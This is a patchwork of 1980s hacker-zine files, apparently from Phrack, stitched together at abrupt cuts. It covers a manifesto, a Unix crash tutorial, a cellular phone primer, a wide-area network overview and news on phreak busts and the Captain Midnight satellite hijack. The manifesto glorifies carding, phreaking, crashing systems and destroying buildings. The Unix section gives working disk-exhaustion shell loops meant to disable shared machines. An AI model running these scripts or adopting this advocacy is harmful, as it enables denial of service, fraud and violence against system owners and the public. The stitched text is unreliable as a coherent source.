+------------------------------------------------------------------------------- +Warelords: There are 13 members in the Warelords and they are based in + California, Maryland, Tennessee, Washington D.C., and Wyoming. + Billibuster, a member of the group, said that the Warelords are a + phreaking and carding group that also writes programs and sells + them.

It is a full time hobby, taking countless hours per week to learn, +experiment, and execute the art of penetrating multi-user computers. Why do +hackers spend a good portion of their time hacking? Some might say it is +scientific curiosity, others that it is for mental stimulation. But the true +roots of hacker motives run much deeper than that. In this file I will +describe the underlying motives of the aware hackers, make known the +connections between Hacking, Phreaking, Carding, and Anarchy, and make known +the "techno-revolution" which is laying seeds in the mind of every hacker. + + To fully explain the true motives behind hacking, we must first take a +quick look into the past. In the 1960's, a group of MIT student built the +first modern computer system. This wild, rebellious group of young men were +the first to bear the name "hackers". The systems that they developed were +intended to be used to solve world problems and to benefit all of mankind. + + As we can see, this has not been the case. The computer system has been +solely in the hands of big businesses and the government. The wonderful device +meant to enrich life has become a weapon which dehumanizes people. To the +government and large businesses, people are no more than disk space, and the +government doesn't use computers to arrange aid for the poor, but to control +nuclear death weapons. The average American can only have access to a small +microcomputer which is worth only a fraction of what they pay for it. The +businesses keep the true state of the art equipment away from the people behind +a steel wall of incredibly high prices and bureaucracy. It is because of this +state of affairs that hacking was born. + + Hackers realize that the businesses aren't the only ones who are entitled +to modern technology. They tap into online systems and use them to their own +advantage. Of course, the government doesn't want the monopoly of technology +broken, so they have outlawed hacking and arrest anyone who is caught. Even +worse than the government is the security departments of businesses and +companies. They act as their own "private armies" and their ruthless tactics +are overlooked by the government, as it also serves their needs. + + Hacking is a major facet of the fight against the computer monopoly. One +of the ways hackers accomplish their means has developed into an art in itself: +Phone Phreaking. It is essential that every Hacker also be a Phreak, because +it is necessary to utilize the technology of the phone company to access +computers far from where they live. The phone company is another example of +technology abused and kept from people with high prices. + + Hackers often find that their existing equipment, due to the monopoly +tactics of computer companies, is inefficient for their purposes. Due to the +inexorbitantly high prices, it is impossible to legally purchase the necessary +equipment. This need has given still another segment of the fight: Credit +Carding. Carding is a way of obtaining the necessary goods without paying for +them. It is again due to the companies stupidity that Carding is so easy, and +shows that the world's businesses are in the hands of those with considerably +less technical know-how than we, the hackers. + + There is one last method of this war against computer abusers. This is a +less subtle, less electronic method, but much more direct and gets the message +across. I am speaking of what is called Anarchy. Anarchy as we know it does +not refer to the true meaning of the word (no ruling body), but to the process +of physically destroying buildings and governmental establishments. This is a +very drastic, yet vital part of this "techno-revolution." + + Hacking must continue. We must train newcomers to the art of hacking. We +must also increase computer Crashing. I know that crashing a computer seems a +waste, but when there is no other way to subvert a business, their system must +be shut down. + + As I stated above, this is only on the motives. If you need a tutorial on +how to perform any of the above stated methods, please read a file on it. And +whatever you do, continue the fight. Whether you know it or not, if you are a +hacker, you are a revolutionary.

Unix is a cool operating system, perhaps one of the best + systems ever designed in many respects. If you have access to a Unix + system, you should LEARN UNIX AND LEARN C, because that is where the + money is in the computer world. However, Unix is a relatively + insecure operating system which is easy to fuck up. This file + explains a few ways of doing so. + +Crash The System +---------------- +Unix has no built-in provision for the maximum amount of disk space allowed per +user. Thus, one user can grab all the disk space on the system and effectively +prevent anyone else from writing to the disk. A simple way of grabbing all the +disk space is to create subdirectory after subdirectory until it is no longer +possible. Here are a few ways of doing it. + +1> Create a file with the following lines: + +mkdir subdir +cd subdir +source /u1/mydir/crash + + Call it crash. The last line ("source /u1/mydir/crash") should be altered + so that it will look for the file in your directory. If your directory is + /u3/students/jeff, the last line should say "source + /u3/students/jeff/crash". After you write the above file, type: + +% source crash + + and wait...within a few minutes the program will abort because it won't + have any more room on the disk. Neither will anyone else. + +2> Here's a more elegant way of doing the same thing. Create this "endless + loop" shellscript: + +while : ; do +mkdir subdir +cd subdir +done + + and then "source" the file. If you are in the "sh" shell (if you are, you + will probably have a "$" prompt) you can type "while : ; do" from the $ + prompt. You will then get a > prompt. Type the next three lines and sit + back. + +3> If you'd like to set the process in motion and hang up, and the file is + called crash, type: + +% nohup source crash & + + and log off. This will start it as a background process, allowing you to + log off. However, log off QUICKLY, since if you used the first example for + your crash file, it will also eat up background processes like crazy which + will also fuck up the system to some extent. Which brings us to... + +Slow Down The System Immensely +------------------------------ +There are many ways of doing this, the method being creating a sufficiently +large number of background processes. Here's one specific example.

For years, mobile +radio-telephone service was an extremely limited proposition. There were only +forty-four radio channels available, and a maximum of about thirty were +assigned to any one area. That meant if all thirty channels were occupied-one +conversation per channel-and you were the thirty-first mobile phone user who +wished to make a call, you would have to wait thirty minutes or more, even in a +city the size of New York. As you can imagine, mobile radio-telephone service +like that could not become very popular. Even with the limited number of +channels, long delays in making calls during busy periods, and often poor +quality transmission, there were big waiting lists for mobile service. But +with a fully equipped cellular radio-telephone system, it is possible to make +5000 times as many calls simultaneously in the same metropolitan area, opening +up the service to anyone that can pay the hefty prices. + + That is because cellular radio-telephones systems are technically quite +different from traditional mobile telephones. First, the FCC (Federal +Communications Commission) has allocated far more channels to cellular, 666 in +all. Second, those 666 channels are broadcast from many different locations. +In the old mobile telephone systems, there was one powerful radio station with +a large antenna that served an entire city. In the new system, a geographical +area is honeycombed with many cells, hence the name 'Cellular'. Each cell has +its own low-powered radio transmitter and receiver. As a car with a cellular +telephone or a person carrying a portable moves from one cell to the next, the +call is transferred automatically. You're unlikely to notice when this +transfer takes place, even though your phone is suddenly switched to a +different radio station and to another channel while you are talking. + + Because the cellular signal is low-powered, it doesn't go very far. This +permits the same channel you are talking on to be used for calls in other parts +of the same metropolitan area without interference. This would mean cellular +radio-telephone systems can serve a very large number of customers in an area +because there are more channels than before-and the larger number of channels +are reused. + + Unlike local telephone service, which is provided by a monopoly, there is +competition in cellular. Two classes of companies are allowed to offer +cellular telephone service in every market. One cellular system can be owned +by a telephone company, the other by someone else. The two-company rule was +adopted by the FCC so that AT&T, which developed cellular, could not monopolize +the whole thing. + + Cellular Telephones come in two basic versions, as car phones and portable +phones, with a briefcase hybrid. Car phones are by far the most common, +because they are much cheaper. But most believe that, ultimately, portables +will be the most popular. Washington Post Company president Richard Simmons, +whose company is a partner in several cellular systems, even predicts that by +the early 1990's "There will be phones roughly the size of a calculators that +you carry around in your pocket. They will cost no more than five hundred +dollars. They will emancipate people from the necessity of locating a phone to +make calls. The bad news is, you will never be able to get away from the phone, +and we'll call it progress." + + Car telephones include a small transmitter-receiver unit that is usually +mounted in the trunk, an antenna and a control head that includes the handset. +In most cellular systems, the telephone touchpad is located on the handset. +Many domestic and foreign manufacturers make cellular car phones, but so far +only Motorola makes portables, the DYNA T-A-C 8000X and 8000S. Motorola's +portables look like a slightly enlarged, somewhat chunky telephone handset, +with a stubby antenna at one end. + + Portables are less powerful than car units, so they can't be used with some +cellular systems. The portable's other limitation is battery life. A portable +can listen for calls for about eight hours, but it can only transmit for only +thirty minutes. After that time it must be charged for a minimum of an hour. + + The following American cities have cellular telephone service or soon will +get it: + + New York Denver + Los Angeles Seattle + Chicago Milwaukee + Philadelphia Tampa + Detroit Cincinnati + Boston Kansas City + San Francisco Buffalo + Washington Phoenix + Dallas San Jose + Houston Indianapolis + St. Louis New Orleans + Miami Portland + Pittsburgh Cleveland + San Diego Atlanta + Baltimore Minneapolis + -------------------------------------------------------------- + + + +========================================================================= + + ==Phrack Inc.== + + Volume One, Issue Six, Phile 8 of 13 + +!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.! + + Jester Sluggo presents + an insight on + Wide-Area Networks + Part 2 + +!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.! + +Part 1 contains information on ARPANET and CSNET. +Part 2 contains information on BITNET, MFENET, UUCP and USENET. +It is best if you read both files to better understand each other. +------------------------------------------------------------------------------- + These files will cover general information on wide-area networks, (I.E. +ARPANET, CSNET, BITNET, MFENET, UUCP and USENET), but may contain information +in relationship with other networks not emphasized in these files. These files +are NOT a hacker's tutorial/guide on these systems. + + BITNET + ~~~~~~ +BITNET. In 1981, City University of New York (CUNY) surveyed universities on +the East Coast of the U.S. and Canada, inquiring whether there was interest in +creating and easy-to-use, economical network for interuniversity communication +between scholars. The response was positive. Many shared the CUNY belief in +the importance of computer-assisted communication between scholars. The first +link of the new network, called BITNET, was established between CUNY and Yale +University in May 1981. + The network technology chosen for BITNET was determined by the +availability of the RSCS software on the IBM computers at the initial sites. +[The name BITNET stands for Because It's Time NETwork.] The RSCS software is +simple but effective, and most IBM VM-CMS computer systems have it installed +for local communications, supporting file transfer and remote job entry +services. The standard BITNET links are leased telephone lines running at 9600 +bps. Although all the initial nodes were IBM machines in university computer +centers, the network is in no way restricted to such systems. Any computer +with an RSCS emulator can be connected to BITNET. Emulators are available for +DEC VAX-VMS systems, VAX-UNIX systems, and for Control Data Corp. Cyber systems +and others. Today, more than one-third of the computers on BITNET are non-IBM +systems. + BITNET is a store-and-forward network with files and messages sent from +computer to computer across the network. It provides electronic mail, remote +job entry, and file transfer services, and supports and interactive message +facility and a limited remote logon facility. Most BITNET sites use the same +electronic mail procedures and standards as the ARPANET, and as a result of the +installation of electronic mail gateway systems at the University of California +at Berkley and at the University of Wisconsin-Madison, most BITNET users can +communicate electronically with users on CSNET and the ARPANET. + BITNET has expanded extremely rapidly -- a clear indication that is +providing service that people need and want. The simplicity of the connection +to the network -- acquiring a 9600-bps leased line to the nearest neighboring +computer node and in installing an additional line interface and modem -- +provides the service at the right price. By the end of 1985 the number of +computers connected was expected to exceed 600, at more than 175 institutions +of higher education throughout the U.S. BITNET is open without restriction to +any college or university. It is not limited to specific academic disciplines, +and may be used for any academic purpose. However, use for commercial purposes +is prohibited. In special cases, connection of commercial organizations may be +sponsored by universities. A particular case is the connection of Boeing +Computer Services to BITNET, as part of the NSFnet initiative, to provide +remote job entry services to their Cray X-MP/24 to NSF supercomputer grantees +who have access to BITNET. + Until recently BITNET had no central management structure, and was +coordinated by an executive board consisting of members from the major +institutions participating. This worked because most of the computers +connected were managed and operated by professional service organizations in +university computer centers. However, the growth in the network made it +possible to continue in this ad hoc fashion, and a central support organization +was established with support from an IBM grant. The central support +organization, called the BITNET network support center (BITNSC), has two parts: +A user services organization, the network information center (BITNSC), which +provides user support, a name server and a variety of databases, and the +development and operations center (BITDOC) to develop and operate the network. +A major question facing the members of BITNET is how the funding of this +central organization will be continued when the IBM grant expires in 1987. + BITNET, with support from the NSFnet Program, is now examining ways to +provide ARPANET-like services to existing BITNET sites. The project, which is +similar to the CSNET CYPRESS project, will explore a strategy to provide an +optional path to the use of the TCP-IP procedures on existing 9.6-kbps leased +lines. The possibility of upgrading these lines to multiple alternate links, +providing higher reliability and availability, or to higher speed 56-kbps links +is also being studied. The project will offer a higher level of service to +BITNET sites choosing this path and also enable a low-cost connection to +NSFnet. + + MFENET + ~~~~~~ +MFENET. The DOE's magnetic fusion energy research network was established in +the mid-1970's to support access to the MFE Cray 1 supercomputer at the +Lawrence Livermore National Laboratory. The network uses 56-kbs satellite +links, and is designed to provide terminal access to the Cray time-sharing +system (CTSS), also developed at the Lawrence Livermore Laboratory. The +network currently supports access to Cray 1, Cray X-MP/2, Cray 2, and Cyber 205 +supercomputers. The network uses special-purpose networking software developed +at Livermore, and, in addition to terminal access, provides file transfer, +remote output queuing, and electronic mail, and includes some specialized +application procedures supporting interactive graphics terminals and local +personal computer (PC)-based editing. Access to the network is in general +restricted to DOE-funded researchers. Recently the network has been expanded +to include the DOE-funded supercomputer at Florida State University. MFENET is +funded by DOE and managed by Livermore. + MFENET has been successful in supporting DOE supercomputer users. However, +the specialized nature of the communications protocols is now creating +difficulties for researchers who need advanced graphics workstations that use +the UNIX BSD 4.2 operating system and the TCP-IP protocols on LAN's. For these +and other reasons, DOE is examining how best to migrate MFENET to the TCP-IP, +and later to the OSI, protocols. + The combination of the CTSS operating system and the MFENET protocols +creates an effective interactive computing environment for researchers using +Cray supercomputers. For this reason, two of the new NSF national +supercomputer centers -- San Diego (SDSC) and Illinois -- have chosen the CTSS +operating system. In SDSC's case, the MFENET protocols have also been chosen +to support the SDSC Consortium network. In Illinois case, a project to +implement the TCP-IP protocols for the CTSS operating system has been funded by +the NSFnet program, and these developments will be shared with SDSC (and with +DOE) to provide a migration path for the SDSC Consortium network. + + UUCP and USENET + ~~~~ ~~~~~~ +UUCP and USENET. The UUCP network was started in the 1970's to provide +electronic mail and file transfer between UNIX systems. The network is a +host-based store-and-forward network using dialup telephone circuits and +operates by having each member site dialup the next UUCP host computer and send +and receive files and electronic mail messages. The network uses addresses +based on the physical path established by this sequence of dialups connections. +UUCP is open to any UNIX system which chooses to participate. There are +"informal" electronic mail gateways between UUCP and ARPANET, BITNET, or CSNET, +so that users of any of these networks can exchange electronic mail. + USENET is a UNIX news facility based on the UUCP network that provides a +news bulletin board service. Neither UUCP nor USENET has a central management; +volunteers maintain and distribute the routing tables for the network. Each +member site pays its own costs and agrees to carry traffic. Despite this +reliance on mutual cooperation and anarchic management style, the network +operates and provides a useful, if somewhat unreliable, and low-cost service to +its members. Over the years the network has grown into a world-wide network +with thousands of computers participating. + + OTHERS + ~~~~~~ +Other Wide-Area Networks. Of necessity this file of wide-area networks has +been incomplete: Other networks of interest include the Space Plasma Analysis +Network (SPAN) -- a network of DEC VAX computers using 9.6-kbps links and the +DECNET protocols for National Aeronautics and Space Administration's +researchers; the planned Numerical and Atmospheric Sciences (NAS) network +centered at Ames Research Center -- a network that is expected to use existing +and planned NASA communications links and the TCP-IP protocols; and the planned +high-energy physics network -- a network based largely on VAX computers and +using the standard X.25 network level protocols plus the so called "coloured +books" protocols developed in the United Kingdom. Also, many high-energy +physicists, at the Stanford Linear Accelerator, at the Lawrence Berkley +Laboratory, and at Fermi Laboratory, among others, have used DECNET to connect +their DEC VAX computers together. + +/ +\ +/ luggo !! + +Please give full credit for references to the following: + +Dennis M.

May 10, 1986 +-------------------- +Taran King is generally thought to be a very mellow, easy going person. For +the most part this is true. However he also gets into major fights with his +dad. When Taran does get pissed he, gets violent. In the past he has punched a +hole into his bedroom door and put dents in his refrigerator with his fists. + +Most recently his dad found out about his collection of illegal knives, +including stilettos, butterflies, and survival knives. They got into an +argument about this and eventually into a fight. Taran stormed off to his +room. Meanwhile, unknown to him, his dad called the police. They took him to +a nearby hospital's adolescent psychiatric ward, supposedly for evaluation. As +of June 14, 1986 he has been there for five weeks and the end isn't in sight. + +For a while he had no phone of visitor privileges and there was no way of +contacting him. This now has changed, but the problems have not been solved. + +On May 23, 1986 he was let out on a pass to go see Judas Priest in concert (it +was great). He has been let out on pass several times since then as well, +mostly on weekends. + +As far as Metal Shop Private... + +Well on May 12, 1986, the /\/impha and I decided to go to Taran's house to +collect the Phrack files and to add a few new modifications to the bbs so that +I could control it better remotely. Taran's sister let us in, no problem. +Unfortunately, before we were done Taran's dad came home. He immediately +spotted my car outside and burst into the house. He was pissed that we were +there and made sure we weren't stealing anything (like I am really going to +steal from my best friend right?). He assumed that the bbs had crashed and +that we were there fixing it. He then decided that he didn't want us to come +over every time the board crashed and TOOK IT DOWN! + +Metal Shop Private will return when Taran gets out, hopefully sometime in June. +_______________________________________________________________________________ + +Metal Shop AE April 27, 1986 +------------- +Metal Shop AE is now the proud possessor of a full 40 megs of online storage. +It also has added an individual password system for greater board security and +now has an email messaging service online. + +Metal Shop AE is sysoped by Cheap Shades. It is one of the main distribution +centers for Phrack Inc. It has the complete Phrack series online as well as +almost 1000 other files. + +To become a member of Metal Shop AE, contact Cheap Shades, Taran King, or +Knight Lightning. + +To upload files for distribution in Phrack Inc. be sure to upload them to drive +E which will save your file to a non-public viewable drive where it will stay +until it is edited for Phrack. +_______________________________________________________________________________ + +Mark Tabas and Karl Marx Busted May 2, 1986 +------------------------------- +The story goes like this; Mark Tabas was working at a plant in Denver where +credit card blanks are manufactured. He decided to take a few. He and Karl +Marx then went about finding someone with an embossing machine to print some +stuff onto the blanks. They were able to find someone and agreed to meet at a +motel to do the work. Everything went well. They were able to print card +numbers, names, and expiration dates that they had gotten onto the blanks. To +celebrate they ordered a bottle of champagne from room service, and paid for it +with one of the cards. At that point the guy with the embosser pulled his +badge, Secret Service! Now Mark Tabas and Karl Marx are facing forgery and +carding charges along with theft for the blanks. + + Information provided by Sally Ride...Space Cadet + +(Editor's Note: At the time that this information was gained, Sally Ride + commented that it may be a rumor. Any inconsistencies are not his fault) +------------------------------------------------------------------------------- + May 15, 1986 + +We at Phrack have since uncovered more information about this bust. Apparently +a guy named Will Bell, who's handle was Jack Bell, set up Karl Marx and Mark +Tabas. Will Bell had the embossing machine and was not a member of the Secret +Service. Instead, he was the son of a member of the Secret Service (although +maybe he was the son of a member of the FBI). Since he was not a fed, this was +not a case of entrapment. It is believed that Will/Jack Bell is originally +from the 312 (Chicago) area. + + Information Provided by Jester Sluggo and The Sprinter +_______________________________________________________________________________ + +FBI/Wylon In Action +------------------- +On May 2, 1986, the homes of Cheap Shades and Kleptic Wizard received visits +from Edward P. Nowicki, Special Agent of the Federal Bureau of Investigation. + +This was not a bust in any way. This agent was trying to gain evidence for a +telecommunications company known as Wylon, which is mainly based in the +Colorado/Wyoming area. Apparently someone or several people had been calling +Kleptic Palace AE and Metal Shop AE illegally and Mr. Nowicki wanted to know +who had been placing these calls. + +As far as Kleptic Palace AE, the calls in question were made on 2/9/86 5:12 AM, +2/9/86 4:33 PM, and 2/10/86 7:30 AM. Although no specific order is mentioned. +The times of the calls made to Metal Shop AE are not available. A third place +called was the home of TWCB Inc. At the time of these calls Whackoland was +still up. + +The agent expected all of them to have a caller log on the board but of course +neither of their AEs kept caller logs. Not to mention the fact that no one +would kept a caller log for three months anyway. + +Kleptic Wizard got a message to Taran King which was then sent to me, and +within the hour I arrived at Klepto's house where I discovered the FBI still +around, so after killing another 45 minutes, I went inside and met with Klepto. +Mr. Nowicki had left behind two things, his business card and a list of four +suspects that he was specifically trying to bust. Apparently all four had been +caught for Wylon abuse in the past. + +I recognized the name at the top of the list almost instantly and as a result, +saved a fellow phreak from a possible bust. Two of the others are rumored to +have been warned as well. However if this is untrue then the other three still +may be in great danger as of this writing. All of the suspects live in the +Wyoming/Colorado area. + +The homes of Cheap Shades and Kleptic Wizard were not searched and their boards +were not looked at. The FBI agent even declined an invitation from Kleptic +Wizard to see the bbs. This may be because he didn't have a warrant. + + Information provided by + Kleptic Wizard and Cheap Shades +_______________________________________________________________________________ + +Administration Nominations? May 6, 1986 +--------------------------- +In late April 1986, The Administration decided to have their yearly membership +drive for the group. The phreaks/hackers being voted on for membership +included: + + Blade Runner/Jester Sluggo/Knight Lightning/Oryan Quest/Phlash Gordon + Recent Change/Sally Ride/Slave Driver/Taran King/The Marauder + +Many of the above and others had thought that they had been voted into the +Administration without even being asked. However this was not the case. + +David Lightman stated that the nominations were made public so that the +Administration members would know of the vote taking place on Administration +BBS +1. Once the nominations were voted on, then the phreaks/hacks would be +formally invited. + +I now pose an important question. If David Lightman is the only regular board +caller of the Administration, then how would the other members know how to +vote? + +So far the results of the votes have not been made public. Not that it matters +that much because The Administration has now more or less completely fallen +apart. It would appear that this new membership drive was an attempt to revive +the group with new blood. However the group has been revived on its own, since +the formers members regrouped again...at least temporarily. + + Some Information Provided by David Lightman +_______________________________________________________________________________ + +Trouble in Texas June 2, 1986 +---------------- +In the last week of May, David Lightman, decided to do a credimatic check on +Blade Runner. To his great surprise, he found that Blade Runner worked for +Southwestern Bell Security. He confronted Blade Runner with this information +and shortly afterward received a visit from Southwestern Bell Security, who +confiscated his terminal programs, his user files, notebooks, and g-phile +disks. He claims that his user files and g-philes were scrambled so no one +should worry too much. + +Later that day, Sir Gamelord, sysop of World's Grave Elite, called David +Lightman and said that Blade Runner was on the board and acting really strange. +David Lightman told him what happened and they then hung up. The next day +Blade Runner is a cosysop of World's Grave Elite as well as Thieve's +Underground, sysoped by Jack The Ripper. Now Sir Gamelord denies the incident +ever occurred. At this writing, David Lightman is laying low and retiring from +the phreak world until things clear up. + +Sir Gamelord's side to this story is quite different. Sir Gamelord said that +he, Blade Runner, and Jack the Ripper were forming a group called the +P.H.I.R.M. (see Phrack Pro-Phile 3 this issue) and that Lightman wanted to be +in and to lead the group as a subsidiary of The Administration (like Team +Hackers'86). They refused, and took away his cosysop access on their boards. +Sir Gamelord says that Lightman is making this whole Southwestern Bell Security +story up to get revenge on them. + +However, Lightman claims that he was asked to be a member of The P.H.I.R.M., +but refused because he didn't have the time. He did however recommend Digital +Logic, Ford Prefect, and The Lineman (sysop of the Lost City Of Atlantis). + +David Lightman has since received his disks back but will not be around on +boards very much. The decision is up to you. I will try to get more +information out on boards as soon as possible. + + Information provided by David Lightman and Sir Gamelord +_______________________________________________________________________________ + +Ninja NYC/Sigmund Fraud; Close Calls +------------------------------------ +Sigmund Fraud, famous for his incredible proficiency at "social engineering" is +now laying incredibly low after what is considered the closest call of his +life. + +The following must be regarded as pure rumor for the sake of non-incrimination +of those involved. You readers know what I mean. +------------------------------------------------------------------------------- +The story goes like this, Sigmund Fraud and a friend (the same one who went to +the Telepub'86 meeting in New York, however he has no handle) were able to +convince their local Bell company that they were another part of the same +company and were able to acquire; Call Forwarding, Call Waiting, Speed Calling, +and Three Way Calling on to Sigmud Fraud's personal phone line. Since SF's +friend lived in a Cross Bar (X-Bar) area he could not get these services so +they decided to get them for Ninja NYC. They told him about it later. + +Less than a week later, on the first Thursday of May 1986, Ninja NYC came home +to discover 2 telco agents awaiting his return from school. What it boiled +down to was that "he" had committed several felonies and to make matters worse, +the people at the local Bell company identified Ninja NYC's voice as being the +caller, AND HE ISN'T THE ONE WHO MADE THE CALL!!!! What it finally boiled +down to was that Ninja NYC had really received a very scary personal warning. + +About this same time Sigmund Fraud is getting home and to his great dismay, all +of his new found phone features have been turned off!!?! Sometime later (most +likely after the telco agents had left) Sigmund gets a call from Ninja NYC. +Ninja NYC of course tells him everything that had happened and warned him that +he was next. Sigmund immediately called me. We both thought Sigmund was +doomed and would be picked up very soon. + +However this was not the case. The agents didn't show up and Sigmund had been +given a golden opportunity to dump all his illegal items and get his story +right. That night I received a call from Slave Driver and Sigmund call me on +three-way and we discussed what to do next. The problem was that Sigmund +didn't want to get rid of his illegal items. He had boxes, manuals, notebooks, +and even a PBX in his room. I told he had 2 choices; Choice A: SF gets rid of +his shit somewhere anywhere, and the telcos don't get any more evidence or, +Choice B: SF leaves the stuff where it is, the telcos come over and take it +and SF gets nailed worse. + +When I left the conversation SF was still discussing what he should do. The +next day, he was not visited by the telcos, he was not busted, but instead +received a call from his local bell company and was given a very strong verbal +warning. + +Since that time, He has stopped answering his personal phone and believes that +line to be monitored. Ninja NYC is almost definitely being monitored and +people have been asked not to call him. + +Of course that didn't stop Daniel Zigmond from calling him.

"Captain +Midnight," an outraged consumer of the space age, took more daring action. In +a sneak attack made on Sunday of last week, the self-appointed video avenger +broke into an HBO presentation of the movie "The Falcon and the Snowman" with a +cryptic message: + + Good evening HBO + From Captain Midnight + $12.95/Month? No Way! + (Showtime/The Movie Channel Beware) + +The mysterious dispatch, seen for several minutes in the East and Midwest by +hundreds of thousands of subscribers to the pay-cable service, was clearly +intended as a rallying cry for the more than 1.5 million owners of home +satellite dishes in the U.S. These video free-lancers are angry because many +of the TV signals they have been plucking from the sky are done by one tuning +into jumble. In January, HBO and Cinemax (both owned by Time Inc.) became the +first two cable services to scramble their signals, thus preventing dish owners +from watching them without paying a monthly subscription fee. Showtime and the +Movie Channel will begin similar scrambling on May 27, and most other +satellite-beamed cable channels, including ESPN, MTV, the Disney Channel, Cable +News Network and Superstation WTBS, will follow suit before the end of the +year. Their actions have set off a heated battle over just who has the right +to TV signals bouncing through the skies. + +In one blow, Captain Midnight has become a folk hero in that struggle, though +his identity remains a mystery. Ordinary home dishes are able only to receive +signals, not to send them; thus experts think the pirate signal probably came +from a TV station or other commercial facility. Wherever the stunt +originated, TV executives were not amused. HBO has lodged a complaint with the +FCC, threatened to prosecute the pirate, and made technical adjustments that it +claims will prevent any repeat attack. + +"He probably thinks this was a prank," says HBO Vice President Dave Pritchard. +"But the fact is someone has interfered with authorized satellite +transmissions." The incident has raised concerns that other satellite-borne +communications, including sensitive data transmitted by business and the +military, could be similarly disrupted. Representatives of the three broadcast +networks insist that a 'hacker' would have difficulty breaking into their +programming. But any satellite signal could theoretically be disrupted, +experts say "Most satellites are built with some safety measures," explains +Karl Savatiel, director of satellite communications for AT&T. "But all +satellites, including military satellites, are vulnerable if a person knows +where the satellite is located, the frequency it uses for satellite +transmissions, and the sender's code." + + (This wasn't the full article, just the important part) + + Taken from Time Magazine May 12, 1986 + Reported by Jim Byers/Los Angeles and Jerome Cramer/Washington. + + Typed for PWN's usage by The Seker +_______________________________________________________________________________ + +News On Captain Midnight April 28, 1986 +------------------------ + "Search for Cable TV Prankster Leads to North Texas" + +The search for Captain Midnight, the disgruntled video prankster who briefly +commandeered Home Box Office's satellite transmissions over the eastern +two-thirds of the country early Sunday, has led federal investigators to North +Texas, a Justice Department official said Monday. + +John K. Russell, a Justice Department spokesman in Washington, told +Knight-Ridder Newspapers that "the perpetrator is believed to be in North +Texas." Later he said the search was in Texas "as well as other areas." + +Other authorities told Knight-Ridder that investigators in the Dallas field +offices of the FBI and the Federal Communications Commission (FCC) have been +focusing on a tip that Sunday's four-minute cable interruption originated in +North Texas. + +FBI and FCC officials in Dallas could not be reached for comment Monday. + +Captain Midnight interrupted a movie broadcast Sunday with a message protesting +new fees being charged the owners of satellite dishes for access to HBO. The +five line message, superimposed on a test pattern, said: + + "Good evening HBO from Captain Midnight. + $12.95 a month? No way! + (Showtime-Movie Channel Beware.)" + +In January, HBO began scrambling its broadcasts to prevent owners of satellite +dishes from unauthorized interception of the signal as it bounced from a +satellite to cable television systems. + +HBO told dish owners that they would have to buy a descrambler for $395 and +pay $12.95 a month. + +"While the man on the street may have once thought that Captain Midnight's +message was limited to being a prank, it does represent a very serious threat +to any company or entity using satellites to transmit information," said Alan +Levi, HBO's manager of corporate public relations. +------------------------------------------------------------------------------- +Other: + +Alan Levi: [212] 512-1659 (Cooperate affairs) +David Pritchard: [212] 512-1413 (Cooperate affairs) +Tim Larker: [212] 512-5666 (Network scrambler assistant) +New York City FCC: [212] 620-3438 (Federal Communications Commission) +HBO Cooperate Offices: [212] 512-1000 +------------------------------------------------------------------------------- +David Lightman: + +I have spoken with several people about 'Captain Midnight'.

Possibly 214. + +DL: What makes you think this? + +DP: We believe this is true due to a tip from a Dallas resident. + +DL: How do you know that he was not lying to lead you away from the real + Captain Midnight? + +DP: I know he was probably not lying because he left us his mailbox number. + +DL: Which is? + +DP: I cannot release that information right now. + + (This conversation went on for a while. Possibly 10-15 minutes...) +------------------------------------------------------------------------------- +David Lightman earlier had spoken with Alan Levi... +------------------------------------------------------------------------------- +DL: Yes. Do you have any idea who this Captain Midnight might be? + +Alan: No, but we are fairly certain it is someone in the 212 area with access + to the scrambling offices of HBO. The knowledge necessary for what + this guy did could not be gotten very easily without getting it from our + departments. + +DL: Well, I believe I know who this Captain Midnight is. + +Alan: Could you please tell me who you think Captain Midnight is? + +DL: No. If it is the person I suspect, I would rather not cause any trouble + for them. + +Alan: You wouldn't cause much trouble for him. + +DL: Isn't what this guy did a federal offense? + +Alan: Well, yes it is, but you would be surprised how many people get away + with breaking federal laws. + + (He actually said that guys!) + +DL: Hmm.... What would happen to him? + +Alan: We would just let him know that what he did was not a prank. It was + very serious. It could possibly change the entire industry and unless + he stops transmitting over our satellites, we will ask the Department of + Defense to handle it from then on. + +DL: Well, I would need to think about it a little more. Can I call you back a + little later? + +Alan: Could you just give me your number and I will have David Pritchard call + you back? + +DL: It depends on who else will get my number. + +Alan: Just me. I will consider this conversation and all of the conversations + that follow to be an anonymous tip. + +DL: Sure then. It is (214) 733-5162. + +Alan: Thanks. Then I will have David call you if you do not call me back + before tomorrow evening. + +DL: That would be fine. Thanks. + +Alan: Thank you. +------------------------------End of Conversation------------------------------ +Well as you may have guessed, my number (mailbox) was given to the FCC, FBI, +and David Pritchard as well as Tim Larker. I got pretty pissed so I called +David Pritchard. That was the first conversation I posted. We (Alan Levi, +David Pritchard, Tim Larker, the FCC, the FBI, Knight-Ridder Newspapers, and I) +now have the country believing that the transmission originated in Dallas.

I plan on another +conversation with these intelligent people tomorrow 5:00 PM. + +If you do call these guys, please do not mention the Administration, Team +Hackers'86, any member of either group or me to them as being the transmitter. +You have no proof at all about that. I did not say if we were involved or not. +That will be left up to your imagination. + + Information and Interviews Provided by David Lightman +_______________________________________________________________________________ + +Captain Midnight Busted! June 6, 1986 +------------------------ +Captain Midnight probably isn't sleeping too well these days. His name, still +publicly unannounced, is probably known by many, including the FBI. He has +already been reported to have been fired from his job at an uplink facility, of +which there are only around 100 in this country. The facility is east of the +Rockies and does not operate after midnight. Also, a newer type of equipment +was used of which there are only a few in the country. We expect charges to be +filed any day now, possibly just in time for the June 12th congressional +hearings on signal jamming. Penalties could include a one year jail sentence +and up to $50,000 in fines; $10,000 maximum of which would be for jamming only. + +We expect FM America to come to Captain Midnight's rescue financially by +raising defense money. All segments of the TVRO industry condemned the signal +jamming. It is interesting to note the grins and smiles while discussing the +subject, however, FM America knows who "Captain Midnight" is and even +interviewed him live on the air on "FM America." Tapes of FM America including +Captain Midnight's interview have been turned over to federal investigators. + +Several benefits can be realized by Captain Midnight's signal "interruption." +Mainly, the fact is now known by everyone that it can be done. There are no +secrets either in that a transponder can easily be confused into locking onto +another signal and ignoring the correct signal as interference. Also, the +signal that controls the satellite's positioning could also be accessed. The +overall possibility that our entire "satellite system" in general can be +rendered ineffective from the ground is kind of unnerving. + +Signal scrambling did not interfere with the HBO signal lockout because a +higher wattage beam over-powered it. The networks all use pretty powerful +beams which are used 24 hours-a-day 